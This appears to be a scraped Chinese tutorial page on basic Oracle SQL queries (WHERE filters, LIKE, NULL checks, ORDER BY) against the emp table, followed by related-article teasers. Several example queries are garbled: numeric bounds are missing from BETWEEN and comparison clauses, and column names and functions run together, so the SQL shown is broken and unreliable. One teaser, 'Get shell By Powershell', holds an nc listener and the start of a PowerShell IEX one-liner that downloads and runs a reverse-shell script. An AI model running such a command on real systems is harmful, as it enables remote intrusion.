1. select * from EMP t-- t列的别名--返回所有列
  2.  
  3. select ename || sal as HEHE from emp;--列的合并(使用连接)
  4. select concatenamesalas heh from emp--列的合并(使用连接)
  5. SELECT ename, job_id, salary, /*commission_pct*/ FROM emp;--列为空值
  6. SELECT ename, salary, /*12*(salary+100)*/ FROM emp;--对列的数据进行运算
  7.  
  8. --过滤,使用where条件子句,将不符合的行过滤掉
  9. -- where语句 紧跟 from 语句
  10.  
  11. SELECT ename, sal
  12. FROM emp
  13. WHERE sal BETWEEN AND -使用between .....and....--查找薪资在20003000的人员名单
  14.  
  15. SELECT ename, sal
  16. FROM emp
  17. WHERE sal >= and sal<= --使用比较运算 --查找薪资在20003000的人员名单
  18. -- in
  19. SELECT ename, sal, job
  20. FROM emp
  21. WHERE job IN ('MANAGER', 'CLERK');--注意括号内为大写,字符串的比较
  22.  
  23. --like --模糊查询(%与_可以搭配使用)
  24. SELECT ename
  25. FROM emp
  26. WHERE ename LIKE 'S%'; --选择姓名中以S开头的姓名
  27.  
  28. SELECT ename
  29. FROM emp
  30. WHERE ename LIKE '%S%'; --选择姓名中含有s的姓名
  31.  
  32. SELECT ename
  33. FROM emp
  34. WHERE ename LIKE '%S'; --选择姓名以s结尾的姓名
  35. --null --空值
  36.  
  37. SELECT ename, comm --comm 奖金
  38. FROM emp
  39. WHERE comm IS NULL; --查询没有奖金的人员名单
  40.  
  41. --order by -- 排序
  42. --asc -- 升序
  43. --desc -- 降序
  44.  
  45. select ename sal from emp
  46. order by sal -- 默认排序为从低到高
  47.  
  48. select ename sal from emp
  49. order by sal asc -- 根据薪水从低到高排序
  50.  
  51. select ename sal from emp
  52. order by sal desc -- 根据薪水从高到底排序
  53.  
  54. ---where子句
  55. --条件语句,用来多虑数据。
  56. --使用比较运算
  57. --使用 BETWEEN, IN, LIKE NULL运算
  58. --使用逻辑运算符 AND, ORNOT
  59.  
  60. ---order by 子句
  61. --排序语句(默认为升序)
  62. --asc 升序
  63. --desc 降序

数据库的相关语句(where,order by)的更多相关文章

  1. 各种数据库分页语句整理以及Oracle数据库中的ROWNUM和ORDER BY的区别

    .oracle数据库分页 select * from (select a.*,rownum rc from 表名 where rownum<=endrow) a where a.rc>=s ...

  2. 40 (OC)* 数据库常见sql语句

    1:增加INSERT INTO t_student (name, age) VALUES ('liwx', 18);2:删除DELETE FROM t_student WHERE name = 'li ...

  3. SQL入门语句之ORDER BY 和GROUP BY

    一.SQL入门语句之ORDER BY ORDER BY 是用来基于一个或多个列按升序或降序顺序排列数据 1.从数据库表获取全部数据按字段A的升序排列 select *from table_name o ...

  4. Oracle数据库,查询语句、内置函数

    一.数据库的查询语句: 1.查询整个表: select * from 表名 例: 2.通过条件查询某一行数据: select * from 表名 where 字段名 例: 3.某一列数据去重查询: s ...

  5. PHP对MySQL数据库的相关操作

    一.Apache服务器的安装 <1>安装版(计算机相关专业所用软件---百度云链接下载)-直接install<2>非安装版(https://www.apachehaus.com ...

  6. Django数据库操作性能相关

    Django数据库操作性能相关 案例: 现在我们的数据库中有两张表如下: 1.职员表: class UserInfo(models.Model): name = models.CharField(ma ...

  7. GP数据库 常用SQL语句

    GP数据库 常用SQL语句 --1,查看列名以及类型 select upper(column_name) ,data_type from information_schema.columns wher ...

  8. Oracle数据库 基础SQL语句练习

    一.说明 第一次使用Oracle,想做一些练习,熟悉一些oracle. 表:使用的是scott用户,默认的表 具体表讲解,可以参考该文档:https://www.cnblogs.com/xjcheng ...

  9. oracle 脚本创建数据库的相关文章,教程,源码

    学步园推荐专题: 关于oracle 脚本创建数据库的相关文章 文章标题 文章链接 文章简介 oracle命令行创建数据库的示例脚本 http://www.xuebuyuan.com/964527.ht ...

随机推荐

  1. htop使用详解

    一.Htop的使用简介 大家可能对top监控软件比较熟悉,今天我为大家介绍另外一个监控软件Htop,姑且称之为top的增强版,相比top其有着很多自身的优势.如下: 两者相比起来,top比较繁琐 默认 ...

  2. Webdings字体和Wingdings字体对照表

    一.Webdings是一个TrueType的dingbat字体,于1997年发表,搭载在其后的Microsoft Windows视窗系统内,大多的字形都没有Unicode的相对字. 使用很简单1.网页 ...

  3. 【mysql】不可不知的Metadata Lock

    一.问题发生 说一个现象,当收到服务器报警之后,数据库服务器CPU使用超过90%,通过 show processlist 一看,满屏都是 Waiting for table metadata lock ...

  4. iframe相关小结

    父页面调用子页面方法, 子页面加载父页面传送的数据记录了父子间的调用和数据加载. 以下是另一些关于iframe的小结: 1:document.getElementById("ii" ...

  5. Python中_,__,__xx__的区别

    _xx 单下划线开头 Python中没有真正的私有属性或方法,可以在你想声明为私有的方法和属性前加上单下划线,以提示该属性和方法不应在外部调用.如果真的调用了也不会出错,但不符合规范. #! /usr ...

  6. Get shell By Powershell

    Invoke-PowerShellTcp.ps1 监听主机:nc -nv -l -p 9999 powershell -nop -exec bypass -c "IEX (New-Objec ...

  7. prometheus杂碎

    一个监控及告警的系统,内含一个TSDB(时序数据库).在我而言是一个数采程序 重要成员分三块 exploter:实际是外部接口,让各个程序实现这个接口,供普罗米修斯定时从此接口中取数 alert:告警 ...

  8. 大话前端解析Json对象

    一.对于标准的json对象如: var result=[{"flag":1,"macId":"2","mbId":0,& ...

  9. MapReduce 计数器简介

    转自:http://my.oschina.net/leejun2005/blog/276891?utm_source=tuicool&utm_medium=referral 1.计数器 简介 ...

  10. SAP Tax Service可以取代TAXBRA / RVABRA吗?(翻译) 跨国贸易云税务解决方案

    这篇文章的内容基于Fausto Motter  的一篇文章,他在SAP社区用葡萄牙语写了一篇文章,讨论如何用云解决方案取代巴西税收计算.我翻译了他的部分文章,添加并修改了一些内容,目标是帮助全球的SA ...